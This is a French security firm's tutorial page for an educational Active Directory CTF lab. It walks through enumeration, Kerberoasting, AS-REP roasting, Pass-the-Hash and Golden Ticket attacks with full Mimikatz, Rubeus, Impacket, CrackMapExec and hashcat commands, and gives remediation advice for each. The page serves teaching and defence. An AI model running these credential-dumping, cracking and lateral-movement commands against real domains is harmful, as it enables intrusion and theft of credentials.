Logo Connect3S

Connect3S Pentest Nice

Lab CTF Pédagogique Active Directory

🎯 CTF Pédagogique : Pentest Active Directory

Environnement de lab isolé pour comprendre les attaques sur Active Directory et les méthodes de remédiation. Commandes PowerShell, BloodHound, Kerberoasting, Pass-the-Hash et plus encore.

⚠️ Cadre LAB / CTF Pédagogique OBLIGATOIRE

Toutes les commandes et techniques présentées ici sont destinées UNIQUEMENT à un environnement de lab isolé ou CTF interne.

L'utilisation de ces techniques sur des systèmes sans autorisation explicite est illégale et passible de poursuites judiciaires.

🏗️ Architecture du Lab CTF Active Directory

Environnement de Test Recommandé

Pour pratiquer les techniques de pentest AD en toute sécurité, nous recommandons l'architecture suivante :

🖥️ Machines Virtuelles (VirtualBox ou VMware)

  • DC01 : Windows Server 2019/2022 - Contrôleur de domaine (10.10.0.10)
  • SRV01 : Windows Server 2019 - Serveur membre (10.10.0.20)
  • WKS01 : Windows 10/11 Pro - Poste utilisateur (10.10.0.30)
  • Attacker : Kali Linux 2024 - Machine d'attaque (10.10.0.100)

👥 Utilisateurs du Domaine LAB.LOCAL

# Utilisateurs standards
jean.dupont@lab.local (Password: Printemps2024!)
marie.martin@lab.local (Password: Ete2024!)

# Utilisateurs avec privilèges
admin.support@lab.local (Membre de Domain Admins)
svc_backup@lab.local (Compte de service avec SPN)

# Utilisateurs vulnérables
user.kerberoastable@lab.local (SPN configuré, mot de passe faible)
user.asreproast@lab.local (Pre-authentication désactivée)

⚔️ Scénarios d'Attaque Active Directory

🔍 Attaque 1 : Énumération Active Directory

Objectif : Cartographier le domaine AD, identifier les utilisateurs, groupes, ordinateurs et relations de confiance.

Phase 1 : Énumération avec PowerView

PowerView est un module PowerShell pour l'énumération AD.

# Importer PowerView Import-Module .\PowerView.ps1 # Lister tous les utilisateurs du domaine Get-DomainUser | Select-Object samaccountname, description # Lister les membres du groupe Domain Admins Get-DomainGroupMember -Identity "Domain Admins" # Énumérer les ordinateurs du domaine Get-DomainComputer | Select-Object dnshostname, operatingsystem # Trouver les comptes de service avec SPN (Kerberoasting) Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname

Phase 2 : BloodHound - Cartographie des Chemins d'Attaque

BloodHound visualise les relations AD et identifie les chemins vers Domain Admin.

# Sur Kali Linux : Collecter les données AD avec SharpHound sudo python3 bloodhound.py -u jean.dupont -p 'Printemps2024!' -d lab.local -ns 10.10.0.10 -c All # Importer les données dans Neo4j sudo neo4j console # Puis ouvrir BloodHound GUI et importer le fichier .zip généré # Requête BloodHound : Shortest Path to Domain Admins # Dans l'interface BloodHound, utiliser la requête pré-construite

🛡️ Remédiation : Limiter l'Énumération AD

  • Désactiver les comptes inactifs (désactivation automatique après 90 jours)
  • Limiter les permissions de lecture LDAP aux utilisateurs authentifiés
  • Masquer les comptes de service dans les listes publiques (attribut userAccountControl)
  • Implémenter des honey accounts pour détecter l'énumération
  • Monitorer les requêtes LDAP anormales (volume élevé en peu de temps)

🎫 Attaque 2 : Kerberoasting

Objectif : Extraire les tickets Kerberos TGS des comptes de service et cracker les mots de passe hors ligne.

Phase 1 : Identifier les Comptes Kerberoastables

# PowerView : Lister les comptes avec SPN Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname # Rubeus : Lister les comptes Kerberoastables .\Rubeus.exe kerberoast /stats

Phase 2 : Extraire les Tickets TGS

# Rubeus : Demander un ticket TGS pour tous les comptes avec SPN .\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt # Impacket (Linux) : Kerberoasting à distance impacket-GetUserSPNs lab.local/jean.dupont:'Printemps2024!' -dc-ip 10.10.0.10 -request # Le résultat sera un hash au format : # $krb5tgs$23$*user.kerberoastable$lab.local$MSSQLSvc/srv01.lab.local:1433*$...

Phase 3 : Cracker le Hash avec Hashcat

# Hashcat : Cracker le ticket TGS (mode 13100) hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force # John the Ripper : Alternative john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt

🛡️ Remédiation : Prévenir Kerberoasting

  • Mots de passe longs et complexes pour les comptes de service (minimum 25 caractères aléatoires)
  • Utiliser des Group Managed Service Accounts (gMSA) avec rotation automatique
  • Limiter les SPN uniquement aux comptes qui en ont réellement besoin
  • Monitorer les requêtes TGS inhabituelles (ticket demandé pour tous les SPNs en rafale)
  • Activer l'audit 4769 - A Kerberos service ticket was requested

🔓 Attaque 3 : AS-REP Roasting

Objectif : Exploiter les comptes utilisateurs dont la pré-authentification Kerberos est désactivée pour récupérer un hash crackable hors ligne.

Phase 1 : Identifier les Comptes Vulnérables

# PowerView : Trouver les comptes sans pré-authentification Get-DomainUser -PreauthNotRequired | Select-Object samaccountname # LDAP Query directe Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

Phase 2 : Extraire le Hash AS-REP

# Rubeus : AS-REP Roasting .\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt # Impacket (Linux) impacket-GetNPUsers lab.local/ -usersfile users.txt -dc-ip 10.10.0.10 -format hashcat # Le hash sera au format : # $krb5asrep$23$user.asreproast@LAB.LOCAL:...

Phase 3 : Cracker le Hash

# Hashcat : Cracker AS-REP (mode 18200) hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force

🛡️ Remédiation : Prévenir AS-REP Roasting

  • Ne JAMAIS désactiver la pré-authentification Kerberos (attribut DONT_REQ_PREAUTH)
  • Audit régulier des comptes avec cette option via PowerShell ou GPO
  • Monitorer les tentatives AS-REQ sans pré-authentification (Event ID 4768)
  • Politique de mots de passe robuste même si pré-auth activée (défense en profondeur)

🔑 Attaque 4 : Pass-the-Hash (PTH)

Objectif : Utiliser le hash NTLM d'un utilisateur (sans connaître le mot de passe) pour s'authentifier sur d'autres machines du domaine.

Phase 1 : Extraction du Hash NTLM

Prérequis : Accès administrateur local sur WKS01.

# Mimikatz : Extraire les hash de la mémoire (LSASS) privilege::debug sekurlsa::logonpasswords # Résultat exemple : # Username : admin.support # Domain : LAB # NTLM : 88846f7eaee8fb117ad06bdd830b7586 # CrackMapExec : Extraction via SMB crackmapexec smb 10.10.0.30 -u jean.dupont -p 'Printemps2024!' --sam

Phase 2 : Authentification Pass-the-Hash

# Impacket : Utiliser le hash pour s'authentifier (psexec) impacket-psexec -hashes :88846f7eaee8fb117ad06bdd830b7586 admin.support@10.10.0.20 # CrackMapExec : Vérifier l'accès admin sur plusieurs machines crackmapexec smb 10.10.0.0/24 -u admin.support -H 88846f7eaee8fb117ad06bdd830b7586 --local-auth # Mimikatz : PTH pour obtenir un shell sekurlsa::pth /user:admin.support /domain:lab.local /ntlm:88846f7eaee8fb117ad06bdd830b7586

🛡️ Remédiation : Bloquer Pass-the-Hash

  • Protected Users Group : Placer les comptes privilégiés dans ce groupe (empêche NTLM)
  • Credential Guard : Activer Windows Defender Credential Guard (virtualisation de LSASS)
  • Disable NTLM : Forcer Kerberos uniquement via GPO (déprécier NTLM)
  • LAPS : Local Administrator Password Solution pour rotation automatique des mots de passe admins locaux
  • MFA : Authentification multi-facteurs pour les comptes admin
  • Monitorer l'utilisation de comptes privilégiés sur plusieurs machines (détection mouvement latéral)

👑 Attaque 5 : Golden Ticket (Persistance Totale)

Objectif : Créer un ticket Kerberos TGT forgé avec le hash NTLM du compte krbtgt pour obtenir un accès Domain Admin persistant.

Phase 1 : Extraction du Hash krbtgt

Prérequis : Accès Domain Admin sur le contrôleur de domaine.

# Mimikatz : Extraire le hash krbtgt depuis le DC lsadump::dcsync /domain:lab.local /user:krbtgt # Résultat : # Hash NTLM: b7e1a6c5f4d8e2a3c9f6b4e8d7a5c3f1

Phase 2 : Création du Golden Ticket

# Mimikatz : Créer un Golden Ticket kerberos::golden /user:fakeadmin /domain:lab.local /sid:S-1-5-21-... /krbtgt:b7e1a6c5f4d8e2a3c9f6b4e8d7a5c3f1 /ptt # Impacket (Linux) impacket-ticketer -nthash b7e1a6c5f4d8e2a3c9f6b4e8d7a5c3f1 -domain-sid S-1-5-21-... -domain lab.local fakeadmin # Vérifier le ticket injecté klist # Utiliser le ticket pour accéder au DC dir \\dc01\c$

🛡️ Remédiation : Mitiger les Golden Tickets

  • Rotation du mot de passe krbtgt : À effectuer 2 fois (avec 10h d'intervalle) après un incident
  • Monitorer les événements Kerberos anormaux : Tickets avec durée de vie excessive (>10h)
  • Protected Users Group : Empêche l'utilisation de NTLM pour ces comptes
  • PAW (Privileged Access Workstation) : Machines dédiées pour l'administration AD
  • Audit des accès Domain Admin : Tout accès doit être justifié et tracé
  • Détection via SIEM : Tickets Kerberos avec SID Domain Admins non légitime

🛠️ Outils de Pentest Active Directory

Toolkit Recommandé pour le Lab

🔵 Outils Windows (PowerShell)

# PowerView (PowerShell Empire)
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

# Rubeus (C# Kerberos abuse)
https://github.com/GhostPack/Rubeus

# Mimikatz (credential dumping)
https://github.com/gentilkiwi/mimikatz

# SharpHound (BloodHound collector)
https://github.com/BloodHoundAD/SharpHound

🔴 Outils Linux (Kali)

# Impacket (suite Python pour AD)
sudo apt install impacket-scripts

# BloodHound + Neo4j (visualisation AD)
sudo apt install bloodhound neo4j

# CrackMapExec (exploitation réseau)
sudo apt install crackmapexec

# Kerbrute (énumération users via Kerberos)
https://github.com/ropnop/kerbrute

🟡 Outils d'Analyse

# PingCastle (audit AD automatisé)
https://www.pingcastle.com/download/

# ADRecon (collecte info AD en PowerShell)
https://github.com/adrecon/ADRecon

# Purple Knight (Semperis - détection de faiblesses AD)
https://www.purple-knight.com/

Besoin d'un Pentest Active Directory Professionnel ?

Connect3S réalise des audits de sécurité AD complets pour identifier et corriger les vulnérabilités de votre infrastructure Windows avant qu'un attaquant ne les exploite.

Demander un audit AD →